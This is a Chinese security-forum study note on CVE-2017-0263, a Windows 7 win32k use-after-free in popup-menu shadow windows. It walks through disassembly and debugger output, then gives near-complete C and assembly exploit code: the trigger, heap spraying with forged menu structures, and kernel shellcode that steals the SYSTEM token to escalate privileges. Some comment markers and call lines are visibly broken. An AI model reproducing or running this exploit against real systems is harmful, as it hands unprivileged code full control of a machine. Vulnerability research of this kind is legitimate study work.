本文为看雪论坛精华文章
看雪论坛作者ID:1900
一
前言
1.漏洞描述
2.实验环境
-
操作系统:Win7 x86 sp1 专业版
-
编译器:Visual Studio 2017
-
调试器:IDA Pro, WinDbg
二
漏洞分析
1.成因分析
0: kd> dt win32k!tagTHREADINFO -r pMenuState
+0x104 pMenuState : Ptr32 tagMENUSTATE
0: kd> dt win32k!tagMENUSTATE -r pGlobalPopupMenu
+0x000 pGlobalPopupMenu : Ptr32 tagPOPUPMENU
0: kd> dt win32k!tagPOPUPMENU
+0x000 flags : Uint4B
+0x004 spwndNotify : Ptr32 tagWND
+0x008 spwndPopupMenu : Ptr32 tagWND
+0x00c spwndNextPopup : Ptr32 tagWND
+0x010 spwndPrevPopup : Ptr32 tagWND
+0x014 spmenu : Ptr32 tagMENU
+0x018 spmenuAlternate : Ptr32 tagMENU
+0x01c spwndActivePopup : Ptr32 tagWND
+0x020 ppopupmenuRoot : Ptr32 tagPOPUPMENU
+0x024 ppmDelayedFree : Ptr32 tagPOPUPMENU
+0x028 posSelectedItem : Uint4B
+0x02c posDropped : Uint4B
2.xxxTrackPopupMenuEx函数分析
.text:BF93F432 xor ecx, ecx
.text:BF93F434 push ecx ; int
.text:BF93F435 push 601h ; int
.text:BF93F43A push ecx ; int
.text:BF93F43B movzx ebx, ax
.text:BF93F43E mov eax, [ebp+P]
.text:BF93F441 push dword ptr [eax+24h] ; int
.text:BF93F444 and edx, 40000000h
.text:BF93F44A push ecx ; int
.text:BF93F44B shr ebx, 0Fh
.text:BF93F44E and ebx, 1
.text:BF93F451 neg edx
.text:BF93F453 sbb edx, edx
.text:BF93F455 and edx, eax
.text:BF93F457 push edx ; int
.text:BF93F458 push 64h ; int
.text:BF93F45A push 64h ; int
.text:BF93F45C push [ebp+yTop] ; int
.text:BF93F45F mov esi, 8000h
.text:BF93F464 push [ebp+xLeft] ; int
.text:BF93F467 push 80800000h ; int
.text:BF93F46C push ecx ; int
.text:BF93F46D push esi ; int
.text:BF93F46E push esi ; Str1
.text:BF93F46F push 181h ; int
.text:BF93F474 call _xxxCreateWindowEx@60 // 创建窗口
.text:BF93F479 mov edi, eax
.text:BF93F47B mov [ebp+var_pWnd], edi
.text:BF93F47E test edi, edi
.text:BF93F480 jnz short loc_BF93F489
.text:BF89C81F lea eax, [ebp+Dst]
.text:BF89C825 push eax ; Src
.text:BF89C826 push esi ; UnicodeString
.text:BF89C827 push WM_NCCREATE ; MbString
.text:BF89C82C push ebx ; P
.text:BF89C82D call _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x)
.text:BF89C832 test eax, eax
.text:BF89C834 jnz loc_BF89C8CA
.text:BF93F844 mov eax, [edi+4]
.text:BF93F847 shr eax, 8
.text:BF93F84A mov ecx, eax
.text:BF93F84C shl ecx, 4
.text:BF93F84F not ecx
.text:BF93F851 and ecx, 10h
.text:BF93F854 or ecx, 241h
.text:BF93F85A push ecx
.text:BF93F85B mov ecx, [ebp+P]
.text:BF93F85E xor ebx, ebx
.text:BF93F860 push ebx
.text:BF93F861 shr ecx, 10h
.text:BF93F864 push ebx
.text:BF93F865 movsx ecx, cx
.text:BF93F868 push ecx
.text:BF93F869 movsx ecx, word ptr [ebp+P]
.text:BF93F86D push ecx
.text:BF93F86E push ebx
.text:BF93F86F test al, 1
.text:BF93F871 pop eax
.text:BF93F872 setnz al
.text:BF93F875 dec eax
.text:BF93F876 push eax
.text:BF93F877 push [ebp+var_pWnd]
.text:BF93F87A call _xxxSetWindowPos@28
.text:BF89E55A mov ecx, [ebp+arg_18]
.text:BF89E55D and ecx, 4000h
.text:BF89E563 push ecx ; int
.text:BF89E564 push eax ; P
.text:BF89E565 call _xxxEndDeferWindowPosEx@8
.text:BF89E317 push edi
.text:BF89E318 call _xxxSendChangedMsgs@4
.text:BF889ACE test byte ptr [esi+18h], SWP_HIDEWINDOW
.text:BF889AD2 jz short loc_BF889ADA
.text:BF889AD4 push edi
.text:BF889AD5 call _xxxRemoveShadow@4 // 删除阴影窗口
.text:BF889ADA
.text:BF889ADA loc_BF889ADA:
.text:BF889ADA test byte ptr [esi+18h], SWP_SHOWWINDOW
.text:BF889ADE push edi
.text:BF889ADF jz short loc_BF889AF2
.text:BF889AE1 call _ShouldHaveShadow@4 ; ShouldHaveShadow(x)
.text:BF889AE6 test eax, eax
.text:BF889AE8 jz short loc_BF889B24
.text:BF889AEA push edi
.text:BF889AEB call _xxxAddShadow@4 // 增加阴影窗口
struct SHADOWWINDOW{
HWND hWnd; // 拥有阴影窗口的窗口句柄
HWND pwndShadow; // 阴影窗口的句柄
SHADOWWINDOW *next; // 下一个SHADOWWINDOW结构体的地址
};
.text:BF9445A3 push 'dssU' ; Tag
.text:BF9445A8 push 0Ch ; NumberOfBytes
.text:BF9445AA push PagedPoolSession ; PoolType
.text:BF9445AC call ds:__imp__ExAllocatePoolWithTag@12 // 申请用来保存阴影窗口的结构体
.text:BF9445B2 mov edi, eax // 申请到的地址赋给edi
.text:BF944564 xor ebx, ebx
.text:BF9445D6 push ebx ; int
.text:BF9445D7 movzx eax, _gatomShadow
.text:BF9445DE push 601h ; int
.text:BF9445E3 push ebx ; int
.text:BF9445E4 push _hModuleWin ; int
.text:BF9445EA push ebx ; int
.text:BF9445EB push ebx ; int
.text:BF9445EC push ebx ; int
.text:BF9445ED push ebx ; int
.text:BF9445EE push ebx ; int
.text:BF9445EF push ebx ; int
.text:BF9445F0 push 80000000h ; int
.text:BF9445F5 push ebx ; int
.text:BF9445F6 push eax ; int
.text:BF9445F7 push eax ; Str1
.text:BF9445F8 push ecx ; int
.text:BF9445F9 call _xxxCreateWindowEx@60 // 创建阴影窗口
.text:BF9445FE mov esi, eax // 创建的窗口句柄赋给esi
.text:BF94466E mov eax, _gpshadowFirst ; 将第一个阴影窗口地址赋给eax
.text:BF944673 mov [edi+8], eax ; 将窗口地址赋给Next
.text:BF944676 mov eax, [ebp+arg_0] ; 将窗口pwnd赋给eax
.text:BF944679 mov _gpshadowFirst, edi ; 将gpshadowFirst指向新申请的内存地址
.text:BF94467F mov [edi], eax ; 将eax赋给hWnd
.text:BF944685 mov [edi+4], esi ; 将创建的阴影窗口的句柄赋给pwndShadow
.text:BF88D31C ; __stdcall xxxRemoveShadow(x)
.text:BF88D31C _xxxRemoveShadow@4 proc near
.text:BF88D31C arg_0 = dword ptr 8
.text:BF88D31C mov edi, edi
.text:BF88D31E push ebp
.text:BF88D31F mov ebp, esp
.text:BF88D321 xor eax, eax ; eax清0
.text:BF88D323 mov edx, offset _gpshadowFirst
.text:BF88D328 cmp _gpshadowFirst, eax ; 验证是否有阴影窗口
.text:BF88D32E jz short loc_BF88D35C
.text:BF88D330 push esi
.text:BF88D331
.text:BF88D331 loc_BF88D331:
.text:BF88D331 mov ecx, [edx] ; 将阴影窗口地址赋给ecx
.text:BF88D333 mov esi, [ecx] ; 取出阴影窗口的pwnd
.text:BF88D335 cmp esi, [ebp+arg_0] ; 判断是否是目标pwnd
.text:BF88D338 jz short loc_BF88D343 ; 是的话跳转到删除阴影窗口的代码执行
.text:BF88D33A lea edx, [ecx+8] ; 取出下一个阴影窗口的地址
.text:BF88D33D cmp [edx], eax ; 判断是否有下一个阴影窗口
.text:BF88D33F jz short loc_BF88D35B ; 没有则退出
.text:BF88D341 jmp short loc_BF88D331 ; 将阴影窗口地址赋给ecx
.text:BF88D343 ; ---------------------------------------------------------------------------
.text:BF88D343
.text:BF88D343 loc_BF88D343: ;
.text:BF88D343 mov esi, [ecx+4] ; 取出pwndShadow赋给esi
.text:BF88D346 push edi
.text:BF88D347 mov edi, [ecx+8] ; 取出下一个阴影窗口
.text:BF88D34A push eax ; Tag
.text:BF88D34B push ecx ; P
.text:BF88D34C mov [edx], edi ; 将阴影窗口从链表中去除
.text:BF88D34E call ds:__imp__ExFreePoolWithTag@8 ; 释放掉保存这块阴影窗口信息的内存
.text:BF88D354 push esi ; 传入要删除的阴影窗口的句柄,销毁掉窗口
.text:BF88D355 call _xxxDestroyWindow@4
.text:BF88D35A pop edi
.text:BF88D35B
.text:BF88D35B loc_BF88D35B:
.text:BF88D35B pop esi
.text:BF88D35C
.text:BF88D35C loc_BF88D35C:
.text:BF88D35C pop ebp
.text:BF88D35D retn 4
.text:BF88D35D _xxxRemoveShadow@4 endp
.text:BF93F8C9 push ebx
.text:BF93F8CA push ebx
.text:BF93F8CB push 0FFFFFFFCh
.text:BF93F8CD push [ebp+var_4]
.text:BF93F8D0 push EVENT_SYSTEM_MENUPOPUPSTART
.text:BF93F8D2 call _xxxWindowEvent@20
3.漏洞触发
BOOL POC_CVE_2017_0263()
{
BOOL bRet = TRUE;
HMODULE handle = NULL;
handle = GetModuleHandle(NULL);
if (!handle)
{
ShowError("GetModuleHandle", GetLastError());
bRet = FALSE;
goto exit;
}
HMENU hpopupMenu[2] = { 0 };
// 创建两个弹出菜单窗口
hpopupMenu[0] = CreatePopupMenu();
hpopupMenu[1] = CreatePopupMenu();
if (!hpopupMenu[0] || !hpopupMenu[1])
{
ShowError("CreatePopupMenu", GetLastError());
bRet = FALSE;
goto exit;
}
LPCSTR szMenuItem = "item";
MENUINFO mi = { 0 };
mi.cbSize = sizeof(mi);
mi.fMask = MIM_STYLE;
mi.dwStyle = MNS_AUTODISMISS | MNS_MODELESS | MNS_DRAGDROP;
// 设置创建的菜单的属性,让它们变成非模态对话框
if (!SetMenuInfo(hpopupMenu[0], &mi) ||
!SetMenuInfo(hpopupMenu[1], &mi))
{
ShowError("CreatePopupMenu", GetLastError());
bRet = FALSE;
goto exit;
}
// 为菜单添加菜单项,第二个窗口为第一个窗口子菜单
if (!AppendMenu(hpopupMenu[0], MF_BYPOSITION | MF_POPUP, (UINT_PTR)hpopupMenu[1], szMenuItem) ||
!AppendMenu(hpopupMenu[1], MF_BYPOSITION | MF_POPUP, 0, szMenuItem))
{
ShowError("AppendMenuA", GetLastError());
bRet = FALSE;
goto exit;
}
HWND hWindowMain = NULL;
WNDCLASSEX wc = { 0 };
char *szClassName = "WNDCLASSMAIN";
wc.cbSize = sizeof(wc);
wc.lpfnWndProc = DefWindowProc;
wc.hInstance = handle;
wc.lpszClassName = szClassName;
if (!RegisterClassEx(&wc))
{
ShowError("RegisterClassEx", GetLastError());
bRet = FALSE;
goto exit;
}
// 创建窗口为弹出菜单的拥有者
hWindowMain = CreateWindowEx(WS_EX_LAYERED |
WS_EX_TOOLWINDOW |
WS_EX_TOPMOST,
szClassName,
NULL,
WS_VISIBLE,
0,
0,
1,
1,
NULL,
NULL,
handle,
NULL);
if (!hWindowMain)
{
ShowError("CreateWindowEx", GetLastError());
bRet = FALSE;
goto exit;
}
// 设置消息HOOK
if (!SetWindowsHookEx(WH_CALLWNDPROC,
(HOOKPROC)WinHookProc_CVE_2017_0263,
handle,
GetCurrentThreadId()))
{
ShowError("SetWindowHookEx", GetLastError());
bRet = FALSE;
goto exit;
}
// 设置EVENT_SYSTEM_MENUPOPUPSTART事件处理函数
SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART,
EVENT_SYSTEM_MENUPOPUPSTART,
handle,
WinEventProc_CVE_2017_0263,
GetCurrentProcessId(),
GetCurrentThreadId(),
0);
// 触发漏洞
if (!TrackPopupMenuEx(hpopupMenu[0], 0, 0, 0, hWindowMain, NULL))
{
ShowError("TrackPopupMenuEx", GetLastError());
bRet = FALSE;
goto exit;
}
MSG msg = { 0 };
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
exit:
return bRet;
}
0: kd> dt win32k!tagMENUSTATE
+0x020 pmnsPrev : Ptr32 tagMENUSTATE
0: kd> dt win32k!tagMENUSTATE
+0x02c uButtonDownHitArea : Uint4B
LRESULT CALLBACK WinHookProc_CVE_2017_0263(int code, WPARAM wParam, LPARAM lParam)
{
tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
if (cwp->message == WM_NCCREATE)
{
CHAR szTemp[0x20] = { 0 };
if (!GetClassName(cwp->hwnd, szTemp, 0x14))
{
ShowError("GetClassName", GetLastError());
}
if (strcmp(szTemp, "#32768") == 0)
{
g_hwndMenuHit_2017_0263 = cwp->hwnd;
}
else if (strcmp(szTemp, "SysShadow") == 0 && g_hwndMenuHit_2017_0263)
{
g_dwShadowCount_2017_0263++;
if (g_dwShadowCount_2017_0263 == 3)
{
// 为第三个阴影窗口设置处理函数
if (!SetWindowLong(cwp->hwnd,
GWL_WNDPROC,
(ULONG)ShowdowWinProc_CVE_2017_0263))
{
ShowError("SetWindowLong", GetLastError());
}
}
else
{
// 设置窗口先隐藏在显示,这样会创建阴影窗口
if (!SetWindowPos(g_hwndMenuHit_2017_0263, NULL, 0, 0, 0, 0,
SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_HIDEWINDOW) ||
!SetWindowPos(g_hwndMenuHit_2017_0263, NULL, 0, 0, 0, 0,
SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_SHOWWINDOW))
{
ShowError("SetWindowPos", GetLastError());
}
}
}
}
return CallNextHookEx(0, code, wParam, lParam);
}
VOID CALLBACK WinEventProc_CVE_2017_0263(HWINEVENTHOOK hWinEventHook,
DWORD event,
HWND hwnd,
LONG idObject,
LONG idChild,
DWORD idEventThread,
DWORD dwmsEventTime)
{
if (++g_dwCount_2017_0263 >= 2)
{
发送销毁菜单消息
MN_ENDMENU, 0, 0);
}
else
{
发生鼠标左键按下消息
WM_LBUTTONDOWN, 1, 0x00020002); // (2,2)
}
}
LRESULT WINAPI ShowdowWinProc_CVE_2017_0263(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
// 销毁阴影窗口的时候再次触发漏洞
if (msg == WM_NCDESTROY)
{
CallNtUserMNDraLeave();
}
return DefWindowProc(hwnd, msg, wParam, lParam);
}
void __declspec(naked) CallNtUserMNDraLeave()
{
__asm
{
mov eax, 0x11EC // NtUserMNDraLeave调用号
int 0x2E
ret
}
}
3: kd> ba e1 win32k!xxxMNEndMenuState
3: kd> g
Breakpoint 0 hit
:
83745fd2 8bff mov edi,edi
0: kd> kb
# ChildEBP RetAddr Args to Child
00 91849b0c 8373f03f 00000001 fea13cb0 000001f3 win32k!xxxMNEndMenuState
01 91849b54 836b94f3 fea10cd0 000001f3 00000000 win32k!xxxMenuWindowProc+0xcc1
02 91849b94 83679709 fea13cb0 000001f3 00000000 win32k!xxxSendMessageTimeout+0x1ac
03 91849bbc 83686330 fea13cb0 000001f3 00000000 win32k!xxxWrapSendMessage+0x1c
04 91849bd8 836bb4cd fea13cb0 000001f3 00000000 win32k!NtUserfnNCDESTROY+0x27
05 91849c10 83e7d1ea 0002017c 000001f3 00000000 win32k!NtUserMessageCall+0xc9
0: kd> g
Breakpoint 0 hit
:
83745fd2 8bff mov edi,edi
0: kd> kb
# ChildEBP RetAddr Args to Child
00 977e1c08 8377f0f8 00000001 977e1c34 8376e834 win32k!xxxMNEndMenuState
01 977e1c14 8376e834 8381f580 0012fb78 7420a970 win32k!xxxUnlockMenuState+0x20
02 977e1c24 8375c779 7420a970 83e7d1ea 0012fb78 win32k!xxxMNDragLeave+0x45
03 977e1c2c 83e7d1ea 0012fb78 004014a7 badb0d00 win32k!NtUserMNDragLeave+0xd
三
漏洞利用
DWORD SetClassLong(HWND hWnd,
int nIndex,
LONG dwNewLong);
1: kd> dt win32k!tagWND
+0x064 pcls : Ptr32 tagCLS
2: kd> dt win32k!tagCLS
+0x050 lpszMenuName : Ptr32 Uint2B
DWORD i = 0;
// 创建用于后面填充释放的内存
for (i = 0; i < 0x100; i++)
{
WNDCLASSEX Class = { 0 };
CHAR szTemp[20] = { 0 };
HWND hwnd = NULL;
wsprintf(szTemp, "%x-%d", rand(), i);
Class.cbSize = sizeof(WNDCLASSEXA);
Class.lpfnWndProc = DefWindowProc;
Class.cbWndExtra = 0;
Class.hInstance = handle;
Class.lpszMenuName = NULL;
Class.lpszClassName = szTemp;
if (!RegisterClassEx(&Class))
{
ShowError("RegisterClassEx", GetLastError());
continue;
}
hwnd = CreateWindowEx(0,
szTemp,
NULL,
WS_OVERLAPPED,
0, 0, 0, 0,
NULL,
NULL,
handle,
NULL);
if (!hwnd)
{
ShowError("CreateWindowEx", GetLastError());
continue;
}
g_hWindowList_2017_0263[g_dwWindowCount_2017_0263++] = hwnd;
}
TAGPOPUPMENU tagPopupMenu = { 0 };
tagPopupMenu.flags = 0x00098208;
tagPopupMenu.spwndNotify = (DWORD)g_pvHeadFake_2017_0263;
tagPopupMenu.spwndPopupMenu = (DWORD)g_pvHeadFake_2017_0263;
tagPopupMenu.spwndNextPopup = (DWORD)g_pvHeadFake_2017_0263;
tagPopupMenu.spwndPrevPopup = (DWORD)g_pvAddrFlags_2017_0263 - 4;
tagPopupMenu.spmenu = (DWORD)g_pvHeadFake_2017_0263;
tagPopupMenu.spmenuAlternate = (DWORD)g_pvHeadFake_2017_0263;
tagPopupMenu.spwndActivePopup = (DWORD)g_pvHeadFake_2017_0263;
tagPopupMenu.ppopupmenuRoot = 0xFFFFFFFF;
tagPopupMenu.ppmDelayedFree = (DWORD)g_pvHeadFake_2017_0263;
tagPopupMenu.posSelectedItem = 0xFFFFFFFF;
tagPopupMenu.psDropped = (DWORD)g_pvHeadFake_2017_0263;
tagPopupMenu.dwReserve = 0;
// 其中某一块会占用上一次释放的内存块
for (DWORD i = 0; i < g_dwWindowCount_2017_0263; i++)
{
SetClassLongW(g_hWindowList_2017_0263[i], GCL_MENUNAME, (DWORD)&tagPopupMenu);
}
// 再次释放内存,导致bServerSideWindowProc标志位置位
CallNtUserMNDraLeave();
WNDCLASSEX wc = { 0 };
char *szClassName = "WNDCLASSHUNT";
wc.cbSize = sizeof(wc);
wc.lpszClassName = szClassName;
wc.cbWndExtra = 0x200;
wc.lpfnWndProc = DefWindowProc;
wc.hInstance = handle;
if (!RegisterClassEx(&wc))
{
ShowError("RegisterClassEx", GetLastError());
bRet = FALSE;
goto exit;
}
g_hWindowHunt_2017_0263 = CreateWindowEx(WS_EX_LEFT,
szClassName,
NULL,
WS_OVERLAPPED,
0, 0, 1, 1,
NULL,
NULL,
handle,
NULL);
if (!g_hWindowHunt_2017_0263)
{
ShowError("CreateWindowEx", GetLastError());
bRet = FALSE;
goto exit;
}
PTHRDESKHEAD head = (PTHRDESKHEAD)HMValidateHandle(g_hWindowHunt_2017_0263, TYPE_WINDOW);
// 预留4字节
PBYTE pbExtra = (PBYTE)head->pSelf + 0xB0 + 4;
// 用来赋值伪造的tagPOPUPMENU
g_pvHeadFake_2017_0263 = pbExtra + 0x44;
// 将剩余内存空间的内容保存为扩展空间的首地址
for (i = 1; i <= 0x80; i++)
{
SetWindowLongW(g_hWindowHunt_2017_0263, sizeof(DWORD) * i, (DWORD)pbExtra);
}
PVOID pti = head->h.pti;
// 伪装tagPOPUPMENU中的窗口的成员
SetWindowLongW(g_hWindowHunt_2017_0263, 0x28, 0);
SetWindowLongW(g_hWindowHunt_2017_0263, 0x50, (LONG)pti); // pti
SetWindowLongW(g_hWindowHunt_2017_0263, 0x6C, 0);
SetWindowLongW(g_hWindowHunt_2017_0263, 0x1F8, 0xC033C033);
SetWindowLongW(g_hWindowHunt_2017_0263, 0x1FC, 0xFFFFFFFF);
0: kd> dt win32k!tagWND
+0x000 head : _THRDESKHEAD
+0x014 state : Uint4B
+0x014 bDialogWindow : Pos 16, 1 Bit
+0x014 bHasCreatestructName : Pos 17, 1 Bit
+0x014 bServerSideWindowProc : Pos 18, 1 Bit
+0x014 bDestroyed : Pos 31, 1 Bit
+0x018 state2 : Uint4B
.text:BF8B94C0 test byte ptr [esi+16h], 4 ; tagWND->bServerSideWindowProc
.text:BF8B94C8 jz short loc_BF8B9505
.text:BF8B94E8 push [ebp+Src]
.text:BF8B94EB push dword ptr [ebp+UnicodeString]
.text:BF8B94EE push ebx
.text:BF8B94EF push esi
.text:BF8B94F0 call dword ptr [esi+60h] ; call tagWND->lpfnWndProc
.text:BF8B9505 push 0 ; int
.text:BF8B9507 push 0 ; int
.text:BF8B9509 push [ebp+Src] ; Src
.text:BF8B950C push dword ptr [ebp+UnicodeString] ; UnicodeString
.text:BF8B950F push ebx ; MbString
.text:BF8B9510 push esi ; P
.text:BF8B9511 call _xxxSendMessageToClient@28
// 获取关键标志位的地址
g_pvAddrFlags_2017_0263 = (PVOID)((DWORD)head->pSelf + 0x16);
// 指定窗口的消息处理例程
SetWindowLongW(g_hWindowHunt_2017_0263, GWL_WNDPROC, (DWORD)pvShellCode->pfnWinProc);
// 再次释放内存,导致bServerSideWindowProc标志位置位
CallNtUserMNDraLeave();
// 发送消息执行ShellCode
DWORD dwRet = SendMessageW(g_hWindowHunt_2017_0263, 0x9F9F, g_dwPopupMenuRoot_2017_0263, 0);
typedef struct _SHELLCODE {
DWORD reserved; // 0x0
DWORD pid; // 0x4
DWORD off_CLS_lpszMenuName; // 0x8
DWORD off_THREADINFO_ppi; // 0xC
DWORD off_EPROCESS_ActiveLink; // 0x10
DWORD off_EPROCESS_Token; // 0x14
PVOID tagCLS[0x100]; // 0x18
BYTE pfnWinProc[0xBE8]; // 0x418
}SHELLCODE, *PSHELLCODE;
PSHELLCODE pvShellCode = (PSHELLCODE)VirtualAlloc(NULL,
PAGE_SIZE,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!pvShellCode)
{
ShowError("VirtualAlloc", GetLastError());
bRet = FALSE;
goto exit;
}
ZeroMemory(pvShellCode, PAGE_SIZE);
pvShellCode->pid = GetCurrentProcessId();
pvShellCode->off_CLS_lpszMenuName = 0x50;
pvShellCode->off_THREADINFO_ppi = 0x0B8;
pvShellCode->off_EPROCESS_ActiveLink = 0x0B8;
pvShellCode->off_EPROCESS_Token = 0x0F8;
CopyMemory(pvShellCode->pfnWinProc, ShellCode_CVE_2017_0263, 0xBE0);
lHMValidateHandle HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();
if (!HMValidateHandle)
{
bRet = FALSE;
goto exit;
}
// 保存tagCLS的地址
for (i = 0; i < g_dwWindowCount_2017_0263; i++)
{
pvShellCode->tagCLS[i] = *(PVOID *)((PBYTE)HMValidateHandle(g_hWindowList_2017_0263[i], TYPE_WINDOW) + 0x64);
}
DWORD dwOldProtect = 0;
if (!VirtualProtect(pvShellCode, PAGE_SIZE, PAGE_EXECUTE_READ, &dwOldProtect))
{
ShowError("VirtualProtect", GetLastError());
bRet = FALSE;
goto exit;
}
// 指定窗口的消息处理例程
SetWindowLongW(g_hWindowHunt_2017_0263, GWL_WNDPROC, (DWORD)pvShellCode->pfnWinProc);
VOID CALLBACK WinEventProc_CVE_2017_0263(HWINEVENTHOOK hWinEventHook,
DWORD event,
HWND hwnd,
LONG idObject,
LONG idChild,
DWORD idEventThread,
DWORD dwmsEventTime)
{
if (g_dwCount_2017_0263 == 0)
{
lHMValidateHandle HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();
获取tagPOPUPMENU对象地址
g_dwPopupMenuRoot_2017_0263 = *(PDWORD)((PBYTE)HMValidateHandle(hwnd, TYPE_WINDOW) + 0xb0);
}
if (++g_dwCount_2017_0263 >= 2)
{
发送销毁菜单消息
MN_ENDMENU, 0, 0);
}
else
{
发生鼠标左键按下消息
WM_LBUTTONDOWN, 1, 0x00020002); // (2,2)
}
}
0: kd> dt win32k!tagTHREADINFO
+0x0b8 ppi : Ptr32 tagPROCESSINFO
2: kd> dt win32k!tagPROCESSINFO
+0x000 Process : Ptr32 _EPROCESS
1: kd> dt _OBJECT_HEADER
nt!_OBJECT_HEADER
+0x000 PointerCount : Int4B
+0x004 HandleCount : Int4B
+0x004 NextToFree : Ptr32 Void
+0x008 Lock : _EX_PUSH_LOCK
+0x00c TypeIndex : UChar
+0x00d TraceFlags : UChar
+0x00e InfoMask : UChar
+0x00f Flags : UChar
+0x010 ObjectCreateInfo : Ptr32 _OBJECT_CREATE_INFORMATION
+0x010 QuotaBlockCharged : Ptr32 Void
+0x014 SecurityDescriptor : Ptr32 Void
+0x018 Body : _QUAD
DWORD __declspec(naked) ShellCode_CVE_2017_0263(HWND hWnd, int code, WPARAM wParam, LPARAM lParam)
{
__asm
{
push ebp
mov ebp, esp
如果消息不是0x9F9F,函数退出
mov eax, dword ptr[ebp + 0xC]
cmp eax, 0x9F9F
jne LocFAILED
如果cs的值为0x1B则是用户模式(这里判断低2位是否为0就可以),函数退出
mov ax, cs
cmp ax, 0x1B
je LocFAILED
将bDialogWindow标志位自增
cld
ecx = tagWND
mov ecx, dword ptr [ebp + 8]
inc dword ptr [ecx + 0x16]
pushad
通过当前EIP首地址获取SHELLCODE对象的首地址
call $5
:
pop edx
sub edx, 0x443
将tagCLS数组与参数wParam的tagPOPUPMENU对比
mov ebx, 0x100
esi = SHELLCODE->tagCLS
lea esi, [edx + 0x18]
edi = tagPOPUPMENU
mov edi, dword ptr[ebp + 0x10]
LocForCLS:
test ebx, ebx
je LocGetEPROCESS
获取tagCLS中非0的数值
lods dword ptr [esi]
dec ebx
cmp eax, 0
je LocForCLS
获取tagCLS->lpszMenuName
add eax, dword ptr [edx + 8]
比较是否是符合条件的tagCLS
cmp dword ptr [eax], edi
jne LocForCLS
不符合则清空
and dword ptr [eax], 0
jmp LocForCLS
LocGetEPROCESS:
ecx = tagWND->pti
mov ecx, dword ptr [ecx + 8]
ebx = SHELLCODE->off_THREADINFO_ppi
mov ebx, dword ptr [edx + 0x0C]
ecx = tagTHREADINFO->ppi
mov ecx, dword ptr [ebx + ecx]
ecx = tagPROCESSINFO->EPROCESS
mov ecx, dword ptr [ecx]
ebx = SHELLCODE->off_EPROCESS_ActiveLink
mov ebx, dword ptr [edx + 0x10]
eax = SHELLCODE->pid
mov eax, dword ptr [edx + 4]
push ecx
LocForCurrentPROCESS :
判断PID是否是当前进程PID
cmp dword ptr [ebx + ecx - 4], eax
je LocFoundCURRENT
取下一进程EPROCESS
mov ecx, dword ptr [ebx + ecx]
sub ecx, ebx
jmp LocForCurrentPROCESS
LocFoundCURRENT:
将找到的EPROCESS赋给edi
mov edi, ecx
pop ecx
LocForSystemPROCESS:
判断EPROCESS的PID是否为4
cmp dword ptr [ebx + ecx - 4], 4
je LocFoundSYSTEM
取下一进程EPROCESS
mov ecx, dword ptr [ebx + ecx]
sub ecx, ebx
jmp LocForSystemPROCESS
LocFoundSYSTEM:
将SYSTEM进程EPROCESS赋给esi
mov esi, ecx
eax=SHELLCODE->off_EPROCESS_Token
mov eax, dword ptr [edx + 0x14]
当前进程和系统进程EPROCESS指向TOKEN
add esi, eax
add edi, eax
将系统进程TOKEN赋值给当前进程的TOKEN
lods dword ptr[esi]
stos dword ptr es:[edi]
将系统进程TOKEN对象的PointerCount + 2,即增加引用计数
and eax, 0x0FFFFFFF8
add dword ptr[eax - 0x18], 2
popad
提权成功,返回值设为0x9F9F
mov eax, 0x9F9F
jmp LocRETURN
LocFAILED:
提权失败,返回值设为1
mov eax, 1
LocRETURN:
leave
ret 0x10
}
}
四
运行结果
参考资料
-
https://www.anquanke.com/post/id/102377 -
https://www.anquanke.com/post/id/102378 -
https://xz.aliyun.com/t/9287
看雪ID:1900
https://bbs.pediy.com/user-home-835440.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!
原文始发于微信公众号(看雪学苑):CVE-2017-0263提权漏洞学习笔记